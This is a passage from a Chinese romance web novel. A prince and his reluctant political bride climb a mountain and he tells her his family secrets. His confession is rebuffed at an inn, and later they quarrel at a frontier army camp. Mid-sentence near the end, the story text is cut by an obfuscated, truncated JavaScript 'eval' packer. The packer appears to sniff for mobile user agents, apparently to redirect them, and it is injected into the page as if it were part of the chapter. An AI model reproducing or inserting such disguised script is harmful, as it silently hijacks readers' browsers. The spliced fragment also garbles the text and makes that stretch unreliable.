第二日清早,冷逸尘早膳也未用便来到了清和轩。表明来意,叶岚问他:“为何如此着急,你才回来,歇息一两日再去不迟。” “今日无事,天气又好,择日不如撞日。” 叶岚看了看天气,索性今日也无事,便说:“你先去用些早膳,我去更衣。” 北方五月的天气,昼夜温差极大。叶岚想着一天也就回来了,又是去爬山,一会就会热起来。 于是她脱了夹衣,换了身轻薄的夏装。未带侍女,同冷逸尘出发了。 泽生驾车,另有四名护卫相随。 马车出城又走了一个时辰还未到目的地。叶岚想起她来祁国的路上,总是觉得前路漫漫,没有尽头。果然不熟悉路最是难走。 叶岚掀开车窗帷幕,外面树木郁郁葱葱,仲夏已至。眼见太阳越升越高,她忍不住问道:“还有多久才能到?” 冷逸尘向外看了看:“前面就到了塘西村了,自塘西村再东行,半个时辰的车程就到了。我们在塘西村歇一下。” 一行人到了塘西村,叶岚没想到一个小村子,规模倒不比一个镇子小,食店、客栈、马行一应俱全。 冷逸尘解释:“这里离京城近,远道而来的商旅赶不上进京,都在此歇脚,慢慢的就兴盛了起来。” 叶岚算算时辰,说道:“我们这样走是不是慢了些?赶到白龙山怕是要过午时了。” “时间是有些紧,但咱们可以晚些回来。只要能赶着关城门前进城就行。” “那不如将车架寄存在马行,我们骑马前去,可好?” 冷逸尘微微侧目,笑着看问道:“倒是个主意,不过我手下这些人个个都善骑马,你可追的上?” 叶岚亦微笑:“可以试一试。” 用完茶点,一行人骑马前行。叶岚的骑术在他们面前简直是班门弄斧,侍卫将冷逸尘与叶岚护在中间,将就着叶岚的速度前行。 骑马果然比驾车快了很多,两刻钟后,到了白龙山下的“惠泉”。 惠泉自白龙山而出,是一处终年不冻的暖泉。泉水流出,在低洼地形成一处小潭。 叶岚走近,只见潭面如镜,潭水清澈见底,无鱼无虾,鲜有水草。她丢了一颗石子到潭中,粼粼波光便荡漾开来。 阳光虽强烈,可山间的空气是清爽的。他二人开始爬山,泽生不远不近的跟着。 爬的越高看的越远,叶岚贪看风景,时不时便要停下来回头看看。 冷逸尘说道:“待到临风亭再看不迟,哪里风景才好。” 叶岚点头继续前行。爬山不比走路,她也不似男子那般有耐力,爬至半山腰,便已汗流夹背,没什么力气了。她叫住冷逸尘,捡了块石头坐下休息。 冷逸尘说道:“这才到一半,便不行了?” 泽生上前将水囊奉给叶岚,无奈的看了冷逸尘一眼,心想:一点也不知道怜香惜玉!冷逸尘不明所以。 叶岚稍歇片刻,说道:“应是许久未出门都缘故。昨日拿剑也觉得腕力虚浮。” “看来日后要多出来走走才是。我背你?” 叶岚连连摇头,起身继续出发,待登上临风亭时已过了午时。 登高远望,安定城尽收眼底。极目远眺,便是巍巍山河。 叶岚休息了好久才缓过些精神来。 看着叶岚这般柔弱的样子,冷逸尘心里一沉:莫不是药的问题。但他未有所表现,只等回去后再让军医诊疗一番。 这临风亭之上树荫蔽日,山风清凉,叶岚一身暑气尽褪。她倚着栏杆,看着远处,说道:“我还是第一次爬这么高的山,上次爬高只是屋顶。” 冷逸尘微微惊讶,她居然主动和他说了以前事,心中不禁欢喜,问道:“你还上过屋顶?这可不像是公主做的事情。” “来这里的路上,四哥将我一个人丢在屋顶上,下来时双腿都是抖的。”叶岚说道这里不自觉的笑一下。 叶岚只顾看着远方,没有注意冷逸尘的目光一直在她身上。叶岚回过头来,正对上冷逸尘的眼眸,冷逸尘有一丝慌乱,转过头去,也看向远方,说道:“是去屋顶喝酒吧。” 叶岚微诧:“你怎么知道?” “我们在长右山时,也是这样。” “给我讲讲长右山吧。每次听四哥提起,总觉得他怀念无比。他去过那么多地方,只有长右山让他如此念念不忘。” 冷逸尘心里感慨:让他念念不忘的是人。他娓娓道来:“你可知,天下有四大剑宗。西北华山宗,中原嵩阳宗,东南长右宗,西南招摇宗。其中华山宗、嵩阳宗是大门派,在江湖上颇有威望。招摇宗为西南夷人所创,用的是苗刀,不能算作剑宗。苗刀招式狠辣,为江湖人所不耻。我长右剑宗虽是小门派,但剑术受天下仰慕。长右山剑术纯正、精湛,掌门师伯荀正阳为人方正、不与世争、一心为剑,近年来也在江湖上展露头角。况且长右山水美峰奇、谷深云重,是个修身养性的好地方。” “你什么时候去的长右山?” “十五岁那年,我拜在了师傅荀秀峰门下。那时师兄已入师门,我二人居于同一居所。”冷逸尘沉默了一下,继续说:“那时我刚刚知道了生母早已亡故的实情。” 叶岚一惊,不可思议的问道:“生母亡故,母后她……” 冷逸尘深呼一口气:“她不是我的生母。我记忆里总有个场景,我站在一处高石上,一个和母后面容相似的女子,伸手拥抱我并说:尘儿,小心。我总以为那是母后,可那我记得清楚,那女子眉间有颗朱砂痣,而母后没有。我总疑心是我记错了。后来,我看画师给母后画像,便也画了一副母后的小像,在眉间点朱砂痣后,我才确定我没有记错。跟着我的一个嬷嬷看见了画像,让我赶紧烧掉,说不要让皇后看到。我一再追问,才知我的生母亲并非母后。” 冷逸尘缓了缓情绪,继续说道:“我的生母是母后的堂妹,二人长相颇为相像。她在我很小的时候染病去世了,此后我便一直由母后抚养。可蹊跷的是,这个嬷嬷在不久后就告病还乡了。我曾让泽生去她家乡查找过,并无踪迹,我想应是母后做了什么。我也想深追下去,但又怕牵连无辜。我不明白母后为什么要这么做?自那时起,我便十分矛盾,没有人会告诉我真相。那个日日被我唤做母亲的人让我觉得有些陌生,她对我有抚养之恩,可也隐瞒着事实。那段时间我痛苦不堪。彼时我又向往剑术,索性就打着游历的名义去了长右山。想着离开京城,清静一段时间。” 冷逸尘仰头望天,一阵回忆。然后继续说:“那时我很迷茫,不知道自己想做些什么。师兄开导我:既来了这里,当然是好好练剑。师兄是个心胸开阔的人,是他让我知道‘往事不可追’,人生在世,首先要对得起自己,做好自己要做的事,不能徒劳一生。长右山是个养人心性的好地方,我在那待三年,直至上次与白高国一战才回来。” 叶岚默默的听着,没想到这其中竟有这么多故事,也明白了冷逸尘与皇后的关系为何如此。她问冷逸尘:“母后知道你已知道了这些吗?” “我也不确定。在长右山时我已想开,养恩大于生恩,我心底还感激她的。但这三年母后在京中做了很多,为了她的后位,为了……为了将来的帝位。可这我并不想要这些。回来之后,我以为可以像从前一样与她相处,但有些事情已经回不去了。我对母后渐渐疏离,母后则越来越想控制我。” 冷逸尘有些伤感,他转向叶岚:“我与师兄的事,没有早些告诉你,再次向你道歉,这几个月让你受委屈了。我是不想我们之间的……情谊,是因为师兄的缘故,可到头来还是借了师兄的光。” “不,你二人信守承诺,情有可原。我与你的情谊,有我四哥的原因,但也不是全然因为他。我说过,我的性子就是这样,冷冷清清。以前我还羡慕过你的幸福,不想背后也有这么多隐情。” “人生在世,多有无奈,全看自己怎么想。” 叶岚想到了自身,有些惆怅的说道:“的确如此。我身边很少有长久之物,不曾得到就不会失去。我怕有些东西注定会失去,那么还不如不曾拥有过。能平平淡淡、安安稳稳的度日。就已经很好了。” 冷逸尘心下一沉,什么叫注定会失去?但是他没有反驳,只说道:“我会尽力让你过的平淡安稳……” 冷逸尘说这话没什么底气。他也没有把握让叶岚幸福,他这一生注定要奔波,也不知以后何处还会有危险。 他没有向叶岚言明,他能做的就是保护好她。以前,是因为叶皓所托,如今,是他作为丈夫的责任。虽然叶岚未视他为夫。 他看着叶岚,心想:你心里可会有我的一席之地? 二人皆未语。眼见气氛伤感。冷逸尘换个话题:“不说这些,都过去了……你看西边的光。" 叶岚看向西边,太阳还有一丈高就要落山了,依旧亮的耀眼。光芒洒向大地,安定城像是被镀上了一层金光。 此时泽生来报:“殿下,东北方向起了云,恐怕要有雨。” 冷逸尘与叶岚决定下山。泽生在前,他二人在后。 路上,冷逸尘有些抱歉的说道:“今日是来看风景的了,不想却与你说了这么多往事,搅了你的好心情。” “好久没出来了,今日很开心,多谢你。” 冷逸尘笑着说:“都是朋友了,怎么还这么客气。” 叶岚也笑了,又问:“我四哥是什么时候下山的?”叶岚还是好奇他们二人到底相处了多长时间,为何关系这样好。 “我上山一年后。师兄志在四方,长右山留不住他。” “或许是玩心太重才下山来的。”叶岚一语中的。 冷逸尘有些尴尬,他有心为叶皓遮掩,却被叶岚说破。随即他意识到叶岚才是他的亲妹妹,应该比他更了解叶皓。 他咳了一下继续说道:“是贪玩些,我没少被他连累,抄了无数遍宗门师规。我与师兄相处虽时日不多,却如知己重逢。师兄天赋极高,师傅教的东西很快就学会,对我的课业也帮助了很多。” “人有时就是这样,离开了,又万般思念。不过也正是离开了,才会知道之前有多美好,不是吗?” 冷逸尘笑道:“你怎么一会儿一变,刚才不还说‘不曾拥有就不会失去’吗?现在也知道‘美好回忆’了?” 还不等叶岚反驳他,急风骤起, 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店里伙计是个机灵的,看这一行人的穿着打扮便知非富即贵。立刻引人入房间,安排热水、饮食等,不在话下。 房间里,冷逸尘脱下叶岚的鞋袜,捏了捏脚腕,问她可有刺痛。 叶岚一双玉足从未被人看过,加之刚才的失仪之态,此时已是面红耳热,忙用衣衫去遮盖,嗫喏道:“没事的……不痛。” 冷逸尘便知未伤及骨骼、只是扭伤。叮嘱叶岚勿动后,出去吩咐了一番。 不多时,伙计送进了炭盆、热水、姜茶和食物。冷逸尘绞毛巾递给叶岚说:“此处多有不便,简单擦把脸吧。" 随后泽生端着衣服和药膏进来回禀:“公主,车架里只有这一套衣服了,您暂且换下。这是消肿的药膏,是殿下……” 冷逸尘接过衣服说道:“是我常备的,以防不时之需。泽生,你的衣服还湿着,先去吧。”这药膏本是冷逸尘涂抹伤口的,恐泽生说漏了,赶紧遣他出去了。 泽生看了冷逸尘一眼,心里嘀咕:你的衣服也湿着。当然,他很有眼力见,将食物验完毒后,幻想着才子佳人的话本,回自己的客房烘干衣服去了。 冷逸尘将衣服放到床上说道:“你先换了衣服,再上药。”他见叶岚不语,只是看着他,接着说着:“这衣服是新的,一直备在车中未动。先凑合着穿一下。” 叶岚还是不语,冷逸尘不解其意。 叶岚笑了一下:“我要更衣。” 冷逸尘这才恍然,尴尬的笑了笑,掩了门出去找泽生 泽生见他过来颇为惊讶,挑眉示意他。冷逸尘不理他,脱下外衣烤着。 泽生端来馒头给他,说道:“殿下呀……” 冷逸尘知他要说什么,命令道:“闭嘴!” 泽生摇摇头,接过他的衣服烤干。 骤雨初停,乌云消散,一弯弦月高悬于空。 冷逸尘敲门,叶岚未应,他推门而入。见叶岚已换好衣服,躺在榻上睡着了,脱下来的衣服晾在了衣架上,姜茶已喝完,食物一点未动。 他们一整日也未正经吃东西。冷逸尘叫醒叶岚:“等暖和过来再睡,湿寒入体,容易生病。”说罢端来粥碗。 叶岚起身接过碗,说道:“方才有些累,不小心睡着了。” 冷逸尘伸手想掀开被子看看她的伤势,叶岚忙缩了一下腿,捂住被子说道:“已经上过药了,无碍。” 冷逸尘笑道:“此处无别人,不用担心。与我还要这样遮掩吗?” 今日知道了冷逸尘的许多事,的确不应再同他陌生,于是便松了手。 冷逸尘又仔细的为她涂了一遍药。玉足被冷逸尘这样摸着,叶岚难免心中惴惴。 “这药出自军中,比一般的跌打损伤药都有效。” 叶岚看着冷逸尘的侧脸,心头一颤,这感觉在大婚夜里有过一次。她急忙低了头,举起碗,将粥一饮而尽,却又不小心呛了,便剧烈的咳起来。 冷逸尘接了碗,拿了手帕给她,说道:“慢些……今日是我思虑不周,害你遭了这么大罪。” 叶岚摇摇头:“天有不测风云。不要自责。今日……谢谢你能相信我,对我说了这么多。” “我们本是夫妻,这些早就应让你知道。” 叶岚低头不语,“夫妻”二字,她还是不能接受。 冷逸尘拉过叶岚的手,只觉冰冰凉凉。他用双手为她暖着,柔声说道:“叶岚,你我的婚事本就是权谋利益的结果,我知你不情愿。可现在,我心悦于你,你心里可有我?” 叶岚还未从余悸中缓过来,面对突然的表白,惊讶的不知所措。慢慢抽回自己的手,不敢看直视他的深情,低眸咬唇:“对不起,我们……是朋友。” 冷逸尘听闻此言,忧伤万分,目光黯淡,闭眼轻叹:“为什么?” 叶岚不语,他只能作罢。为叶岚盖好被子,无奈说道:“早些休息。”说罢熄灭烛灯出去了。 叶岚也知此言伤了他,但她还是做不到去接受他。她心中的结,解不开。 14. 意动心神乱 出了叶岚的房间,冷逸尘站在檐下让自己冷静。他心里有些后悔、又有些憋闷。与店家要了一坛酒,于月下饮了一口。 泽生许久不见冷逸尘,出来寻找。见他在饮酒,急急收了他的酒坛,说道:“殿下伤还未愈,不可饮酒。” 冷逸尘不悦,伸手命令道:“拿来!我堂堂崇宁王想喝酒也要你来管束?” 泽生将酒藏于身后,行礼认错:“泽生不敢,殿下身体要紧。属下知道殿下心中郁结,这酒……解不了殿下的愁。” “那怎么解?”冷逸尘站起来,抬头望月,感叹:“她怎么就这么无情。” “殿下,你们已然是夫妻,但又不是寻常的夫妻。” “此话怎讲?” “寻常人家,夫妻不睦,尚有和离之策可行。但殿下的婚事是国君旨意,即便想和离都是不可能的。公主是有情有义之人,她这般待您,自有她的道理。” “不喜欢就是不喜欢,哪有那么多道理?” “殿下是当局者迷。殿下算算,您与公主相处的时日,用手指头都能数过来。您虽然为公主做了很多,可人家也不知道啊!公主的真心若这般容易就托付了,那也是看中了殿下的……美色,而不是情深。” “美色”这词冷逸尘听着舒心,脸上有了些笑意:“你倒是看到透彻。” “殿下呀,所谓日久生情,这‘情’是要朝夕相处才能生的出来的!” 果然是旁观者清。是啊,他们已然是夫妻,此生都会在一起,她想逃也逃不掉。想到此处,冷逸尘嘴角勾出一弯不易察觉的微笑。 时至半夜,叶岚转醒,床对面的窗户开着,清冷月光洒落一地,凉气也随着月光一起渗了进来。 她起身,一瘸一拐去关那扇窗户。伸手去拿叉杆时,一个不小心,叉杆掉到了窗外。窗户随即关上,发出的“啪嗒”声,在这安静的夜里显得由为突兀。 随即门开,冷逸尘并两名侍卫提剑而入。屋中晦暗,看不清三人的表情,只见闪着寒光的剑锋。叶岚吓得紧紧靠住了窗户,怯怯地说:“我……关窗户……” 三人松了口气,二侍卫退出。冷逸尘收了剑走向叶岚,关切道:“我以为你出事了。” “你一直在外面?”叶岚一面说一面慢慢向床的方向挪动。 冷逸尘未语,将她抱回床上。叶岚闻得他呼吸间的酒气。随后冷逸尘将油灯点燃,拿起药膏坐于床上,将叶岚的双脚搬到自己的膝盖上,为她涂药。 他轻柔的将药膏涂到了黑紫色的皮肤上。另一只脚如玉石一般细腻,在烛光下散发出温润的光泽。冷逸尘忍住目光,不敢多看。 “你……饮酒了?”叶岚打破沉默。 她坐的离他很近,呼出的气体直向他脖颈间袭来,惹得他心慌意乱,只觉身有异样。 冷逸尘把持不住内心的冲动,他咽了下口水,借着酒劲,一把揽过叶岚的腰身。转头直视她,呼吸变得沉重,眼里的欲望呼之欲出。 叶岚被这突如其来的举动惊住,不由得向后挪,奈何冷逸尘揽的紧,她只得伸出一只胳膊抵住他的胸膛,一脸惊恐的看着他:“你,喝醉了……” 有些颤抖的声音让冷逸尘清醒了一些,他目光转向别处,可手未松开,只是力道变得轻柔。 他深吸一口气,闭上眼睛说道:“对不起……是我失态了。”说罢,安顿叶岚躺下,盖好被子。 期间,不敢看叶岚一眼。临出房门,背着身说道:“我就在门外,有事叫我,不要再走动了。”说罢关门而去。 叶岚蜷缩在被子里,摸着被冷逸尘抚摸过的脚踝,心绪难以平复。一时间也不知自己这样做是对是错。 次日清晨,风和日丽。 昨日的衣裙已不能再穿,冷逸尘的衣服穿起来很宽大,她只得将腰束紧些,又将头发束起,梳了男子的发型。披风一披,倒也得体。 叶岚一开门,便见到了冷逸尘的背影。冷逸尘闻声回头,曦光描绘了他侧脸的轮廓,好似他整个人在发光。 冷逸尘见叶岚这般模样,温柔一笑:“好英俊的小公子,出发吧。” 冷逸尘想将叶岚抱上马车,叶岚坚持拒绝。他想到昨晚的事情,心中十分后悔,万分愧疚。 他小心的搀扶叶岚着上了马车。马车中他再次为叶岚涂药,二人有些尴尬。 冷逸尘开口:“已经消了不少,回去请军医再瞧一瞧。” “不必这般麻烦,只是扭了一下,不碍事的。这药很好用,休养几日便好了。” 冷逸尘轻轻为她穿好鞋袜,说道:“昨晚我酒后失态,唐突了你,抱歉……你说的对,我们是朋友。”“朋友”二字一出口,冷逸尘只觉内心酸楚。 叶岚未语,将低着的头轻轻点了点。 “有件事……我得告诉你。我打算回去向父皇请旨,去燕北榆关巡守一段时间,你……你可愿与我同去?” “啊?这……我得考虑一下。”这事有点突然,叶岚未想过,她不知如何回答。 冷逸尘看着叶岚,很认真的说道:“我希望你能与我同去。一则,我此行也不知道会去多久,留你一人在京中我不放心;二则,我不希望你在王府中虚耗光阴,天下这么大,我带你去看看。” 倒是个好理由,可叶岚依旧未语。 “你已知我与母后的关系。她想为我争,可我却无心要。这事以后我会慢慢劝她,可眼下我怕她伤害到你。” 叶岚不解:“伤害到我?不过是派几个人盯住我。” 冷逸尘神色有些复杂,凝眉道:“何止这样简单,母后给的药……你有没有觉得异样?” “很苦……” “那些药都是伤身的。她不希望……我们……有孩子。我得知这消息,心急如焚,恨不得立刻回来。可我又怕我对你的保护太明显,她会对你做出别的什么事,只得用计先调走了素蕊。幸亏你的身体对这些药物敏感,也不知有没有伤到根本。我已经派人去军中叫了军医,让他好好瞧一瞧你的身体。” 叶岚听了震惊不已,她从未细想过这其中之事如此曲折复杂,充满了阴谋与算计。那么,大婚第二日的药,想来也是避子的药。 她想依旧如从前和母亲一般,偏居一隅独善其身,可如今似乎已由不得她。要卷入斗争之中了吗?她后脊发凉,面色变得苍白。 冷逸尘见她眉头紧皱,沉默不语,便拉过她的手,继续说道:“有些事,我宁愿你不知道。你留在这京中,我不能护你周全。这两日同你说的这些事,我在王府内是不敢说的。我不能留你一人于险处……跟我走吧。” 冷逸尘给出的理由和他那近乎恳求的目光, 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未及皇后说什么,祁帝说道:“尘儿真是长大了。前几日,你二哥还同我说:尘儿成长了不少,可独挡一面。孤还有所思虑,后看了你的奏书,方觉你是真的长大了。” 冷逸尘目光看向冷逸凡,冷逸凡对他微微点头示意。他谢恩:”父皇与兄长谬赞了。兄长与我手足同心,定会为了我大祁的繁荣稳定竭尽所能。” 皇后虽心中不满,但也不便说什么,只是叮嘱:“边地苦寒,苦了尘儿了,你在外要注意身体,莫让父皇母后担忧。” 冷逸尘叩首:“儿臣职责所在,为了我大祁安定、百姓安居,一点艰辛算得了什么。母后放心,儿臣自会注意。” 宫宴上,皇后这顿饭吃的心塞,一是心疼他在外奔波,二是责怪他外出之事未先与她言明。 但此事终究是朝堂之事,她也不便多干涉。她不理解冷逸尘:这孩子怎么就不能在京中任职,丰盈自己羽翼,他就真的不屑于这帝王之位吗? 五月初十,冷逸尘与叶岚离开了祁都,启程燕北。云琴并清和轩六名侍女相随。他们一行先去城郊大营,与那里的一千精兵汇合后再一同出发。 城门口,冷逸凡与冷书屿早已在此等候。冷逸尘与叶岚下车,双方见礼道别。 叶岚登车后,冷逸凡拉住冷逸尘:“三弟,此前之事,我恐白高人不会轻易善罢甘休。你此去务必要多加小心。” “二哥放心,我自会注意。二哥在京中也需多加留意,愿与二哥雁去鱼来,音耗不绝。” 此时冷逸尘的衣角被冷书屿拽了拽。冷书屿对他说:“三叔,好久没陪我玩了。今天又要走了,你什么时候回来?” 冷逸尘抚摸着冷书屿的头说:“三叔要出去一段时间。你好好读书练功夫,等三叔回来,咱们比试比试。” “一言为定,击掌为誓。”冷书屿伸出了右手。 “好。”冷逸尘的右手拍了上去。心里感慨:果然是长大了,小时只会拉勾,如今已似大人一般了。 冷逸尘再次向冷逸凡告辞。冷逸凡拍了拍了冷逸尘的肩膀,笑道:“等回来的时候,也该给屿儿带个弟弟回来了。” 冷逸尘不好意思的笑了笑,告辞而去。 冷逸凡看着队伍的离去,心里默然:三弟,但愿我们都能走到最后。 15. 冷暖自思量 十日行程至榆关。 榆关,燕北军事要地,北依燕山南傍代河。 冷逸尘巡守的圣旨下达之日,便有先遣队去安排都府住处事宜。到了榆关,泽生带叶岚一行先往都府安顿,冷逸尘则带兵去城外榆关大营交接。 二人各自忙碌,夕阳西下,冷逸尘方归。掌灯十分,二人一起用了晚饭。 饭后,叶岚于庭中信步。端午过后,天气便热了起来。榆关虽然偏北,白日里还是很热的。只有太阳落山,晚风吹来时,才有凉意。 冷逸尘向叶岚走来:“这几日辛苦了。脚还未好利索,少走几步。” 叶岚点点头,二人于廊下并坐。叶岚问道:“军中之事可处理好了?” “该交接的都已办完,其它事情慢慢解决。燕地边远,且长久未战,边防事务多有懈怠。严明军纪、收拢军心,整顿起来不是一朝一夕之事。”冷逸尘说罢,拿出一盒杏干来:“这是回来路上买的。吃杏子的时节刚过,只能买到杏干了。” 叶岚接过吃了一个,酸甜可口,笑着说:“很不错。怎么想起来买这个?” “以前云琴打听过哪里能买到梅子蜜饯。北方不产梅子,那时又是冬日,所以很难买到。这里偏僻不如京城繁华富庶,有些南方货物到不了这里。只有这杏干才勉强能与梅子相似。” 叶岚不曾想,这些小事上冷逸尘竟也如此用心,她自己却从未关心过他什么。她低头又吃了一枚。 冷逸尘已经习惯了她这般寡言,继续说:“这杏干是燥热的食物,不能多食。况且你脾胃软,一定要饭后再食。” “好。” “都府简陋,缺少之物慢慢添置。我已安排了军中法算陈安代管府中事务,你觉得需要添置什么就交与他去安排即可。府中的书房你用吧,我在卧房置一书案即可。” 叶岚摇头,说道:“卧房狭小,不如书房明亮,你有那么多事务要处理,怎么行。” “此前在京,离营甚远,不免有些事务要在府中处理,也会有人来拜会,所以我之前不允你去书房。如今大营就在城外,军机是不出大营的,这里也不会让外人来,我要书房也无大用。” 叶岚一笑,说道:“其实以前,你说不让我去你的书房,我也知是这个缘故,但是就是心中意难平,所以经常忍不住发脾气。从前我住在三哥哥家,他为了督促我功课,便在书房为了加了一方小案。那如今我在书房加一书案,等你用时也方便。” “如此甚好……联姻一事,委屈你了,可我也是无辜的。”冷逸尘想起当时之事,心中倒是有些委屈了。 叶岚看着他的小冤屈,递过一枚杏干说道:“向你道歉,是我冤枉你了,不要生气了。”她这句话说的倒是真心实意。 冷逸尘目光温暖起来,笑道:“早就不气了。”说罢伸手握住叶岚的手腕,就她的手将杏干送到了自己嘴里。 叶岚的手指碰到了他柔软的唇,霎时间桃花色便从脸颊蔓延到耳根。想抽回手,奈何冷逸尘手上却有些力道。 冷逸尘想起了在塘西村那晚她眼里的惊恐,又担心她害怕,便松开了手。他目光闪烁,看向别处,咽了咽口水,结巴的说道:“杏干……好吃……我……我明日还要早起,先去睡了……”说罢,便起身大步流星的朝他的卧房走去。 叶岚看着他的背影,心中有一丝落寞。她放下杏干,摸着刚才被握住的手腕,还有他掌心的的余温。 叶岚心跳不已,犹如巨石撞击。 次日清晨,由于劳累,叶岚起晚一些。 云琴告诉她,冷逸尘早起来找过她,见她未起就不曾进来,只让侍女传话,说他晚些回来,不用等他用晚膳了。 叶岚照旧安置东西,记下所缺之物。未及午时军中来信,是冷逸尘亲笔。 “叶岚,见字如晤。建昌大营有紧急军务处理,即刻启程,三日后可归。韩平将军留守榆关,有急事可告知于他。珍重!冷逸尘于癸卯年五月廿一。” 自榆关向西北方二百余里即是建昌大营。守营将军为陈铨。 韩平,祁国老将韩尚幼子,虚长冷逸尘两岁。自幼与冷逸尘相识,年满十五岁便去了军中历练。 在白高一战中,他与冷逸尘同率一支队伍,冷逸尘负伤后,便独自带兵应战,战绩颇丰。年少有为、前途无量。 祁帝虽允了冷逸尘燕北巡守,可终究还是担心他经验不足,便派了韩平同往。 又借着换防的由头将原来的驻军将领调回京师,为冷逸尘和韩平顺利接管榆关大营扫除了障碍,铺平了道路。 叶岚叹气:还未安稳下来,便又出发了。她算算日子,这小半年来冷逸尘几乎没有闲暇,不是去巡守,就是在巡守的路上。 冷逸尘不在,此处又陌生,叶岚忽觉日子有些难熬。她时不时的会想起冷逸尘,想起他的微笑、他的愁绪、他的忧虑。 他对她从来都是和善的,哪怕是不高兴了也不会向她发火,若是他怒了,会是什么样子呢? 叶岚发觉她好像是有些喜欢冷逸尘了。但随即又否定了,她们是朋友,她只是习惯了有他在身边而已。 叶岚为自己找了很多事做,控制自己不去想他。每次饭后的杏干她也不敢多食。她怕吃完了,冷逸尘没有回来,她也不知道去哪里买。 三次的日升月落、月升日落终于过去了,但冷逸尘没有回来。第四日凌晨,叶岚做了一个梦:明媚的阳光照耀着一棵海棠花树,冷逸尘一袭白衣持剑立于树下,忽而抬头一笑,令她怦然心动。 狠狠的一下心跳让叶岚睁开眼睛,再无睡意,心中悸动久不平复。 她起身喝口水压了压。突然她有一种很想见冷逸尘的想法,非常非常想见到他,立刻、马上,哪怕只有一眼也好。 终于熬到了天亮,叶岚叫来陈安,问道:“今日殿下可回来?” “回禀王妃,若无意外,殿下昨日就当归来。” 叶岚心里一紧,昨日就该回来,为什么没有他的一点消息,莫不是出什么事了?叶岚急问:“昨日当归?大营中可有什么消息吗?” “昨日没有,今日尚早,还没有消息传来。” “我可以去大营中吗?” “这……殿下未交代。但军中杀伐之地,王妃还是……” 未及他说完,叶岚立即说道:“备马,去大营。” 见叶岚心意已决,陈安也未多说什么,去备了马与她同去。 为了不引人注目,叶岚穿了深色衣衫,发间饰品尽去,只留了两根木簪,并用轻纱覆了面。与陈安并两名护卫快马向榆关大营驰去。 到了大营,陈安凭令牌带叶岚进入。此时,冷逸尘正在演武场检阅军队。叶岚怕打扰他,未让通传,只是让人带她到了演武场。 她站在沙袋后,等他点兵结束。离得太远,叶岚只能看见冷逸尘一袭戎装,英姿挺拔的站在台上看着众将士。 看见了他,知他无事,叶岚长舒一口气,悬着的心的便也放下了。她未用早饭,被盛夏的暑气逼的头晕。 叶岚坐在一个不起眼的角落里等着冷逸尘,但转念又想:军事重地不是外人随便进的,恐陈安会被罚,还是应当早些离去。于是起身拍了拍土,可抬头就看见了泽生。 泽生见礼道:“公主万安,殿下请公主到中帐。”说完笑了一下,笑中带着一种抓了贼人的窃喜。 叶岚心虚:“告诉他,我没什么事,先回去了。” 泽生拦住她,行礼道:“公主,既来了军中,就要依军规而行。” 叶岚只得随他去。 泽生一路碎念:“大营中帐,军机要地,殿下从不随便让外人进,不过公主不算外人。” “还有别人去过吗?” “素……”泽生只说了半个字便又紧急住口了,改口说道:“没有了。” 叶岚知他说的是谁,想起冷逸尘说过的话,不由心中有气:冷逸尘,你个骗子。 到了中帐,只见冷逸尘坐于主帅之位,左侧立一将军,看上去老成稳重,想来应是韩平。 陈安已跪于帅位之前。冷逸尘黑着脸说道:“出去领二十军棍。” 叶岚听了,赶紧发话:“且慢,他只是奉本宫之命行事,为何要罚他。” 冷逸尘用责备的眼神看了叶岚一眼,转头又对陈安说道:“军中无戏言,下去领罚吧。” 冷逸尘的目光让叶岚身躯一凛,心底生寒。这一眼,便让叶岚万分失望,这些时日的想念、清晨的悸动,全然消散。她侧过身,不再看他。 陈安叩首:“卑职有违军规,甘愿受罚。”说罢便出去了。 待陈安出去,韩平走向叶岚,见礼道:“末将韩平,拜见王妃。” 叶岚忍着心中不满,微笑点头还礼。 韩平看出情形不对,赶紧告辞:“末将还有军务在身,先告退了。”说罢给了冷逸尘一个责备眼神,轻摇一下头后出去了。 众随从亦出,泽生守在中帐门外。 大营的中帐,虽有一“帐”字,可却是一座小殿,只是沿用了行军驻扎的名称。这中帐是一军主帅起居、议事之地,为大营中的重中之重,四面皆有护卫巡视。 帐中只剩叶岚与冷逸尘。冷逸尘收起了严肃,上前握住叶岚的双手,却发现好似握住了两块寒冰。 叶岚撂下脸来,退后一步,抽出双手。冷逸尘上前半步,说道:“吓到你了……你怎么来了,也不着人通传一声。” 叶岚眼中寒意,声音冰冷的说道:“是本宫的错,一意孤行,违了军纪,请崇宁王责罚。” 冷逸尘解释:“私入军营是重罪,罚他二十军棍已是轻的了。” “怎么不连本宫一并罚了?” 冷逸尘继续说道:“我怎么敢罚你。我们初来这里,若不军规严厉些,如何树的起威信来。陈安是自京中随我而来。今日之事是‘杀鸡儆猴’了,以后我自会补偿他。” 冷逸尘辩驳了两次,却都不得要领。 叶岚未语,她虽理解这些,可想到素蕊,想到他刚才的眼神,只觉这些时日来,是自己多情了。便说道:“如此,若无其它事,告辞了。”说罢转身要走。 冷逸尘一把拉住她,说道:“这中帐是你想来就来、想走就走了吗?既然到了我军中,便要遵守军中之规。” 叶岚赌气不看他,强忍着情绪,拂掉冷逸尘的手,说道:“我没有军籍,不算军中之人。” “那你算什么?”冷逸尘显然还是没有意识到问题的严重性。 叶岚无心与他玩笑,整理了衣袖,正色道:“本宫自梁国而来,为两国和平安定。” 冷逸尘这才知她是真的生气了,便不再玩笑,但也只当是她一时小性儿,过会儿便好了。于是拉她进了里间寝室。 冷逸尘盛了碗粥给她,说道:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午时,泽生将饭菜送来。说道:“禀公主,殿下中午在兵营中与将士一同用午饭。军中不比府中,公主凑合着吃些。” 叶岚看着饭菜,的确是粗糙了些。但既然众将士吃得她也吃得,便说了声:“无妨,冷逸尘呢?” “殿下还在军营中。” “他何时回来?我何时可以走?”关了这半日,叶岚烦躁的很。 “属下也不知道。之前巡边,殿下日日清晨阅军,安排当日事宜。之后与将士们一起操练、一起吃饭。晚间将士们休息他还要写文书,有时还需夜巡军营。之前他哪里受过这些苦。属下有时真佩服殿下,自长右山归来也就一年时间,殿下已经能独自领兵了,人们都说殿下年少有为,却不知殿下付出了多少努力。有时处理公文到凌晨,只睡一两个时辰便又起来。还请公主体谅殿下。”泽生见叶岚不语,继续絮絮叨叨:“殿下本应今晨再归,但是却执意昨日漏夜归来。虽未言明,属下也知殿下是为了公主,不想却闹出了今日的误会。” 